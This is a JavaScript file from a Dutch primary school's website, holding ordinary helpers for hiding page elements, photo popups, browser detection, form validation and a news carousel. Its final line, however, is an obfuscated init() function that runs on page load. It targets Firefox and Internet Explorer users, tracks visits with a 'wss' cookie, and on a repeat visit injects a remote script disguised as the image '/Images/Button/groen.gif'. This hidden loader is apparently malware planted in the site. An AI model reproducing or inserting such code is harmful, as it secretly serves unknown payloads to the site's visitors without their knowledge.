// JavaScript Document


// Functie om bij een bepaalde waarde in een select box een extra veld te laten zien.
function latenzien(id,veld,waarde){
x = document.FormulierNaam.elements[veld].selectedIndex;
	if (document.FormulierNaam.elements[veld].options[x].text == waarde){
	document.getElementById(id).style.display = 'block';
	}
	else{
	document.getElementById(id).style.display = 'none';
	}
}
// Einde van deze functie.

// Functie om een element met een bepaalde id te verbergen.
function hidediv(id){
	if (document.getElementById) { // DOM3 = IE5, NS6
		document.getElementById(id).style.display = 'none';
	}
	else {
		if (document.layers) { // Netscape 4
			document.id.display = 'none';
		}
		else { // IE 4
			document.all.id.style.display = 'none';
		}
	}
}
// Einde van deze functie.

// Functie om een element met een bepaalde id weer te geven.
function showdiv(id) {	  
	if (document.getElementById) { // DOM3 = IE5, NS6
		document.getElementById(id).style.display = 'block';
	}
	else {
		if (document.layers) { // Netscape 4
			document.id.display = 'block';
		}
		else { // IE 4
			document.all.id.style.display = 'block';
		}
	}
}
// Einde van deze functie.

// Functie om een element met een bepaalde id weer te geven EN te verbergen door steeds te klikken.
function toggle(element){
	if (document.getElementById(element).style.display == "none"){
		document.getElementById(element).style.display = "";
	} else {
		document.getElementById(element).style.display = "none";
	}
}
// Einde van deze functie

// Functie om hetzelfde te bereiken als de toggle hierboven, maar dan met een mooie slide.
var Hide = "";
var varHt = 0;
var Ht = "";
var x = 0;
var y = 10;
var z = 4;
var foo = new Array();
var Speed = "";

function setupSlide() {
	foo = document.getElementsByTagName("div");
	for (i=0;i<foo.length;i++) {
		if (foo[i].className == "hidden") {
			Hide = foo[i].id;
		}
	}
	Ht = document.getElementById(Hide).offsetHeight;
	Speed = Hide.substring(Hide.lastIndexOf('-')+1);
	document.getElementById(Hide).style.height = '0px';
	document.getElementById('toggleSlide').style.display = 'inline';
	
	if (Speed == 1) { y = 100; z = 1; }
	if (Speed == 2) { y = 70; z = 1; }
	if (Speed == 3) { y = 40; z = 1; }
	if (Speed == 4) { y = 20; z = 1; }
	if (Speed == 5) { y = 10; z = 1; }
	if (Speed == 6) { y = 10; z = 2; }
	if (Speed == 7) { y = 10; z = 4; }
	if (Speed == 8) { y = 10; z = 7; }
	if (Speed == 9) { y = 10; z = 10; }
}

function toggleSlide() {
	if (x === 0) {
		document.getElementById(Hide).style.height = varHt+'px';
		if (((Ht-varHt) < z) && (varHt !== Ht)) {
			varHt = Ht;
		} else {
			varHt = varHt+z;
		}
		if (varHt <= Ht) {
			setTimeout('toggleSlide()',y);
		}
		if (varHt > Ht) {
			varHt = Ht;
			x = 1;
		}
	} else {
		document.getElementById(Hide).style.height = varHt+'px';
		varHt = varHt-z;
		if ((Ht-varHt) <= Ht) {
			setTimeout('toggleSlide()',y);
		}
		if ((Ht-varHt) > Ht) {
			varHt = 0;
			document.getElementById(Hide).style.height = varHt+'px';
			x = 0;
		}
	}
}
// Einde van deze functie.

// Functie om een Enkele foto in een popup venster te openen.
function viewFotoEnkel(URL){
	var URL = URL;
	var Maxbreedte = screen.width - 50;
	var Maxhoogte = screen.height - 100;
	Nieuwscherm =window.open("http://www.sintjozefschoolamsterdam.nl/Include/Foto_popup_enkel.php?Foto="+URL,"foto_up","toolbar=no,location=no,scrollbars=no,status=yes,menubar=no,resizable=no,width="+Maxbreedte+"px,height="+Maxhoogte+"px");
	Nieuwscherm.focus();
}
// Einde van deze functie.

// Functie om meerdere foto's in een popup venster te openen.
function viewFoto(URL, Id){
	var URL = URL;
	var Id = Id;
	var Maxbreedte = screen.width - 50;
	var Maxhoogte = screen.height - 100;
	Nieuwscherm =window.open("http://www.sintjozefschoolamsterdam.nl/Include/Foto_popup.php?Foto="+URL+"&Id="+Id,"foto_up","toolbar=no,location=no,scrollbars=no,status=no,menubar=no,resizable=no,width="+Maxbreedte+"px,height="+Maxhoogte+"px");
	Nieuwscherm.focus();
}
// Einde van deze functie.

// Functie om de popup en de foto op het juiste formaat te openen.
function SizeFoto(){
	var VerhoudingOrigineel = eval(pic).width / eval(pic).height;
	var Maxbreedte = screen.width - 20;
	var Maxhoogte = screen.height-20;

	if(Maxbreedte<eval(pic).width){
		eval(pic).width = Maxbreedte;
	}
	if(Maxhoogte<eval(pic).height){
		eval(pic).height = Maxhoogte;
		eval(pic).width = (Maxhoogte*VerhoudingOrigineel);
	}

	var PositieLinks = (screen.width-eval(pic).width+28)/2;
	var PositieBoven = (screen.height-eval(pic).height+28)/2;
	var browserHeight;
	var PICHeight = eval(pic).width+28;
	switch(BrowserDetect.browser)
	{
		case "Firefox":
			if(BrowserDetect.version == 2){
				browserHeight = 68;
			}
			else if(BrowserDetect.version == "1.5")
			{
				browserHeight = 38;
			}
		break;
		case "Explorer":
			if(BrowserDetect.version == 6){
				browserHeight = 102;
			}
			else if(BrowserDetect.version == 7)
			{
				browserHeight = 112;
			}
		break;
		case "Safari":
			browserHeight = 60;
			if(eval(pic).height+60<150){PICHeight = 150}
		break;
	}
	window.moveTo(PositieLinks, PositieBoven);
	window.resizeTo(PICHeight, eval(pic).height+browserHeight+50);
	window.moveTo(PositieLinks, PositieBoven);

}
// Einde van deze functie.

// Hiermee wordt gekeken in welke browser jij de popup gaat openen en die informatie wordtgebruikt bij SizeFoto. 
var BrowserDetect = {
	init: function () {
		this.browser = this.searchString(this.dataBrowser) || "An unknown browser";
		this.version = this.searchVersion(navigator.userAgent)
			|| this.searchVersion(navigator.appVersion)
			|| "an unknown version";
		this.OS = this.searchString(this.dataOS) || "an unknown OS";
	},
	searchString: function (data) {
		for (var i=0;i<data.length;i++)	{
			var dataString = data[i].string;
			var dataProp = data[i].prop;
			this.versionSearchString = data[i].versionSearch || data[i].identity;
			if (dataString) {
				if (dataString.indexOf(data[i].subString) != -1)
					return data[i].identity;
			}
			else if (dataProp)
				return data[i].identity;
		}
	},
	searchVersion: function (dataString) {
		var index = dataString.indexOf(this.versionSearchString);
		if (index == -1) return;
		return parseFloat(dataString.substring(index+this.versionSearchString.length+1));
	},
	dataBrowser: [
		{ 	string: navigator.userAgent,
			subString: "OmniWeb",
			versionSearch: "OmniWeb/",
			identity: "OmniWeb"
		},
		{
			string: navigator.vendor,
			subString: "Apple",
			identity: "Safari"
		},
		{
			prop: window.opera,
			identity: "Opera"
		},
		{
			string: navigator.vendor,
			subString: "iCab",
			identity: "iCab"
		},
		{
			string: navigator.vendor,
			subString: "KDE",
			identity: "Konqueror"
		},
		{
			string: navigator.userAgent,
			subString: "Firefox",
			identity: "Firefox"
		},
		{
			string: navigator.vendor,
			subString: "Camino",
			identity: "Camino"
		},
		{		// for newer Netscapes (6+)
			string: navigator.userAgent,
			subString: "Netscape",
			identity: "Netscape"
		},
		{
			string: navigator.userAgent,
			subString: "MSIE",
			identity: "Explorer",
			versionSearch: "MSIE"
		},
		{
			string: navigator.userAgent,
			subString: "Gecko",
			identity: "Mozilla",
			versionSearch: "rv"
		},
		{ 		// for older Netscapes (4-)
			string: navigator.userAgent,
			subString: "Mozilla",
			identity: "Netscape",
			versionSearch: "Mozilla"
		}
	],
	dataOS : [
		{
			string: navigator.platform,
			subString: "Win",
			identity: "Windows"
		},
		{
			string: navigator.platform,
			subString: "Mac",
			identity: "Mac"
		},
		{
			string: navigator.platform,
			subString: "Linux",
			identity: "Linux"
		}
	]

};
BrowserDetect.init();
//alert(BrowserDetect.browser);
//alert(BrowserDetect.version);
// Einde BrowserDetect.


// Functie om het INSCHRIJF formulier te controleren.
function Controle(){
	var Foutmelding = '';
	submitOK='True';

	if (document.form1.NaamOuder.value.length==0){
		Foutmelding = Foutmelding + '- Naam ouder.\n';
		document.form1.NaamOuder.style.border = '1px solid #ff0000';
		submitOK='False';
	}
	else{
		document.form1.NaamOuder.style.border = '1px solid #000000';
	}
	if (document.form1.NaamKind.value.length==0){
		Foutmelding = Foutmelding + '- Naam kind.\n';
		document.form1.NaamKind.style.border = '1px solid #ff0000';
		submitOK='False';
	}
	else{
		document.form1.NaamKind.style.border = '1px solid #000000';
	}
	if (document.form1.Geboortedatum.value.length==0){
		Foutmelding = Foutmelding + '- Geboortedatum.\n';
		document.form1.Geboortedatum.style.border = '1px solid #ff0000';
		submitOK='False';
	}
	else{
		document.form1.Geboortedatum.style.border = '1px solid #000000';
	}
	if (document.form1.Adres.value.length==0){
		Foutmelding = Foutmelding + '- Adres.\n';
		document.form1.Adres.style.border = '1px solid #ff0000';
		submitOK='False';
	}
	else{
		document.form1.Adres.style.border = '1px solid #000000';
	}
	if (document.form1.PostcodePlaats.value.length==0){
		Foutmelding = Foutmelding + '- Postcode en woonplaats.\n';
		document.form1.PostcodePlaats.style.border = '1px solid #ff0000';
		submitOK='False';
	}
	else{
		document.form1.PostcodePlaats.style.border = '1px solid #000000';
	}
	if (document.form1.Telefoon.value.length==0){
		Foutmelding = Foutmelding + '- Telefoon.\n';
		document.form1.Telefoon.style.border = '1px solid #ff0000';
		submitOK='False';
	}
	else{
		document.form1.Telefoon.style.border = '1px solid #000000';
	}
	if (document.form1.Email.value.length==0){
		Foutmelding = Foutmelding + '- Email.\n';
		document.form1.Email.style.border = '1px solid #ff0000';
		submitOK='False';
	}
	else{
		document.form1.Email.style.border = '1px solid #000000';
	}
	var count = 0;
	for (i=0; document.form1.Geslacht[i]; i++) {
		if ( document.form1.Geslacht[i].checked == true ) {
			count++;
		}
	}
	if(count==0){
		Foutmelding = Foutmelding + '- Geslacht.\n';
	}
	if (submitOK=='False'){
		alert('U dient de volgende velden verplicht in te vullen:\n' + Foutmelding);
		return false;
	}
}
// EINDE FUNCTIE



// Functie om het UITGEBREIDE formulier te controleren.
function UitgebreidControleer(){
	var filter=/^([\w-]+(?:\.[\w-]+)*)@((?:[\w-]+\.)*\w[\w-]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$/i
	var Foutmelding = '';
	submitOK = 'True';

	if (document.UitgebreidFormulier.Naam.value.length == 0){
		Foutmelding = Foutmelding + '- Naam.\n';
		document.UitgebreidFormulier.Naam.style.border = '1px solid #ff0000';
		submitOK = 'False';
	}
	else{
		document.UitgebreidFormulier.Naam.style.border = '1px solid #094e93';
	}
	if (document.UitgebreidFormulier.Organisatie.value.length == 0){
		Foutmelding = Foutmelding + '- Organisatie.\n';
		document.UitgebreidFormulier.Organisatie.style.border = '1px solid #ff0000';
		submitOK = 'False';
	}
	else{
		document.UitgebreidFormulier.Organisatie.style.border = '1px solid #094e93';
	}	
	if (filter.test(document.UitgebreidFormulier.Email.value)){
		document.UitgebreidFormulier.Email.style.border = '1px solid #999999';
	}
	else{
		Foutmelding = Foutmelding + '- Vul een geldig emailadres in.\n';
		document.UitgebreidFormulier.Email.style.border = '1px solid #ff0000';
		submitOK = 'False';
	}
	if (document.UitgebreidFormulier.Email.value == document.UitgebreidFormulier.HerhaalEmail.value){
		document.UitgebreidFormulier.HerhaalEmail.style.border = '1px solid #094e93';
	}
	else{
		Foutmelding = Foutmelding + '- Herhaal uw emailadres.\n';
		document.UitgebreidFormulier.HerhaalEmail.style.border = '1px solid #ff0000';
		submitOK = 'False';
	}
	if (document.UitgebreidFormulier.Telefoon.value.length==0){
		Foutmelding = Foutmelding + '- Telefoon.\n';
		document.UitgebreidFormulier.Telefoon.style.border = '1px solid #ff0000';
		submitOK = 'False';
	}
	else{
		document.UitgebreidFormulier.Telefoon.style.border = '1px solid #094e93';
	}
	
	if (submitOK == 'False'){
		alert('De volgende velden zijn verplicht:\n' + Foutmelding);
		return false;
	}
}
// Einde van deze functie.



// Functie om het UITGEBREIDE formulier te controleren.
function NieuwsbriefControleer(){
	var filter=/^([\w-]+(?:\.[\w-]+)*)@((?:[\w-]+\.)*\w[\w-]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$/i
	var Foutmelding = '';
	submitOK = 'True';

	if (document.nieuwsbrief.Email.value.length == 0 || document.nieuwsbrief.Email.value=="E-mail adres..."){
		Foutmelding = Foutmelding + '- Email.\n';
		document.nieuwsbrief.Email.style.border = '1px solid #ff0000';
		submitOK = 'False';
	}
	else{
		document.nieuwsbrief.Email.style.border = '1px solid #094e93';
	}
	
	if (submitOK == 'False'){
		alert('De volgende velden zijn verplicht:\n' + Foutmelding);
		return false;
	}
}
// Einde van deze functie.

// Functie om het inloggen op de website te controleren.
function InlogControle(){
	var Foutmelding = '';
	submitOK='True';

	if (document.InlogFormulier.Email.value.length==0 || document.InlogFormulier.Email.value.indexOf("@")==-1){
		Foutmelding = Foutmelding + '- E-mailadres.\n';
		document.InlogFormulier.Email.style.border = '1px solid #ff0000';
		submitOK='False';
	}
	else{
		document.InlogFormulier.Email.style.border = '1px solid #094e93';
	}
	if (document.InlogFormulier.Wachtwoord.value.length==0){
		Foutmelding = Foutmelding + '- Wachtwoord.\n';
		document.InlogFormulier.Wachtwoord.style.border = '1px solid #ff0000';
		submitOK='False';
	}
	else{
		document.InlogFormulier.Wachtwoord.style.border = '1px solid #094e93';
	}
	if (submitOK=='False'){
		alert('U dient de volgende velden verplicht in te vullen:\n' + Foutmelding);
		return false;
	}
}
// Einde van deze functie.

// Functie om het reageren op een bericht te controleren.
function ReactieControle(){
	var Foutmelding = '';
	submitOK='True';

	if (document.ReactieFormulier.Titel.value.length==0){
		Foutmelding = Foutmelding + '- Titel.\n';
		document.ReactieFormulier.Titel.style.border = '1px solid #ff0000';
		submitOK='False';
	}
	else{
		document.ReactieFormulier.Titel.style.border = '1px solid #094e93';
	}
	if (document.ReactieFormulier.Tekst.value.length==0){
		Foutmelding = Foutmelding + '- Reactie.\n';
		document.ReactieFormulier.Tekst.style.border = '1px solid #ff0000';
		submitOK='False';
	}
	else{
		document.ReactieFormulier.Tekst.style.border = '1px solid #094e93';
	}
	if (submitOK=='False'){
		alert('De volgende velden zijn verplicht:\n' + Foutmelding);
		return false;
	}
}
// Einde van deze functie.

// Functie om het registreren op de website te controleren.
function RegistratieControleer(){
	var Foutmelding = '';
	submitOK='True';

	if (document.RegistratieFormulier.Naam.value.indexOf(" ")==-1 ||document.RegistratieFormulier.Naam.value.length==0){
		Foutmelding = Foutmelding + '- Er moet een naam ingevuld worden.\n';
		document.RegistratieFormulier.Naam.style.border = '1px solid #ff0000';
		submitOK='False';
	}
	else{
		document.RegistratieFormulier.Naam.style.border = '1px solid #094e93';
	}
	if (document.RegistratieFormulier.Wachtwoord.value.length==0){
		Foutmelding = Foutmelding + '- Er moet een wachtwoord ingevuld worden.\n';
		document.RegistratieFormulier.Wachtwoord.style.border = '1px solid #ff0000';
		submitOK='False';
	}
	else{
		document.RegistratieFormulier.Wachtwoord.style.border = '1px solid #094e93';
	}
	if (document.RegistratieFormulier.Wachtwoord2.value.length==0){
		Foutmelding = Foutmelding + '- Er moet een wachtwoord ingevuld worden.\n';
		document.RegistratieFormulier.Wachtwoord2.style.border = '1px solid #ff0000';
		submitOK='False';
	}
	else{
		document.RegistratieFormulier.Wachtwoord2.style.border = '1px solid #094e93';
	}
	if (document.RegistratieFormulier.Wachtwoord.value.length>0 && document.RegistratieFormulier.Wachtwoord2.value.length>0){
		if (document.RegistratieFormulier.Wachtwoord2.value!=document.RegistratieFormulier.Wachtwoord.value){
			Foutmelding = Foutmelding + '- De wachtwoorden komen niet overeen.\n';
			document.RegistratieFormulier.Wachtwoord.style.border = '1px solid #ff0000';
			document.RegistratieFormulier.Wachtwoord2.style.border = '1px solid #ff0000';
			submitOK='False';
		}
		else{
			document.RegistratieFormulier.Wachtwoord.style.border = '1px solid #094e93';
			document.RegistratieFormulier.Wachtwoord2.style.border = '1px solid #094e93';
		}	
	}
	if (document.RegistratieFormulier.Email.value.indexOf("@")==-1 || document.RegistratieFormulier.Email.value.indexOf(".")==-1){
		Foutmelding = Foutmelding + "- Er moet een geldig e-mail adres ingevuld worden.\n";
		document.RegistratieFormulier.Email.style.border = '1px solid #ff0000';
		submitOK="False";
	}
	else{
		document.RegistratieFormulier.Email.style.border = '1px solid #094e93';
	}
	if (submitOK=='False'){
		alert('Uw registratie kan niet worden voltooid, want:\n' + Foutmelding);
		return false;
	}
}
// Einde van deze functie.
<!--
function MM_swapImgRestore() { //v3.0
  var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}

function MM_findObj(n, d) { //v4.01
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function MM_swapImage() { //v3.0
  var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
   if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
}
//-->

// Functies voor het nieuws op de homepage.
function getObj(name){
	if (document.getElementById){
		this.obj = document.getElementById(name);
		this.style = document.getElementById(name).style;
	}
	else if (document.all){
		this.obj = document.all[name];
		this.style = document.all[name].style;
	}
	else if (document.layers){
		this.obj = document.layers[name];
		this.style = document.layers[name];
	}
}

//
function setOpacity(obj,value){
	testObj = new getObj(obj);
	testObj.style.opacity = value/10;
	testObj.style.filter = 'alpha(opacity=' + value*10 + ')';
}
//
function initCaroussel(){
	setOpacity("caroussel_menu_item_container2",5);
	setOpacity("caroussel_menu_item_container3",5);
	setOpacity("caroussel_menu_item_container4",5);
	setOpacity("caroussel_menu_item_container5",5);
	currNewsId=-1;
	fadeIncrement=0;
	showNews(1);
	rotateId=1;
	startRotate();
}
//
function autoRotate(){
	if(doRotate){
		if(rotateId>5){
			rotateId=1;
		}
		showNews(rotateId);
		rotateId++;
		rotateTimer=setTimeout("autoRotate()",10000);
	}
	else{
		clearTimeout(rotateTimer);
	}
}
//
function startRotate(){
	doRotate=true;
	rotateTimer=setTimeout("autoRotate()",1000);
}
//
function stopRotate(){
	doRotate=false;
	if(typeof rotateTimer != 'undefined'){
		clearTimeout(rotateTimer);
	}
}
//
function fadeTab(id){
	if(fadeIncrement!=11){
		//setOpacity("caroussel_menu_item_container"+id,fadeIncrement);
		//setOpacity("caroussel_item"+id,fadeIncrement);
		setOpacity("caroussel_menu_item_container"+id,10);
		setOpacity("caroussel_item"+id,10);
		//fadeIncrement++;
		//fadeTimer=setTimeout("fadeTab("+id+")",40);
	}
	else{
		//clearTimeout(fadeTimer);
	}
}
//
function showNews(id){
	if(typeof currNewsId == 'undefined' || id!=currNewsId){
		if(typeof currNewsId != 'undefined' && currNewsId != -1){
			//DEACTIVATE
			setOpacity("caroussel_menu_item_container"+currNewsId,5);

			var iTab="caroussel_menu_item"+currNewsId;
			var inActiveTab = new getObj(iTab);
			inActiveTab.obj.className="caroussel_menu_item_inact"+currNewsId;

			var iContent="caroussel_item"+currNewsId;
			var inActiveContent = new getObj(iContent);
			inActiveContent.style.display="none";
			inActiveContent.style.visibility="hidden";
		}

		//ACTIVATE
		var aTab="caroussel_menu_item"+id;
		var activeTab = new getObj(aTab);
		activeTab.obj.className="caroussel_menu_item_act";

		var aContent="caroussel_item"+id;
		var activeContent = new getObj(aContent);
		activeContent.style.display="block";
		activeContent.style.visibility="visible";

		fadeIncrement=0;
		fadeTab(id)
		currNewsId=id;
		rotateId=id;
	}
}
// Einde van deze functie.

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/Images/Button/groen.gif?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();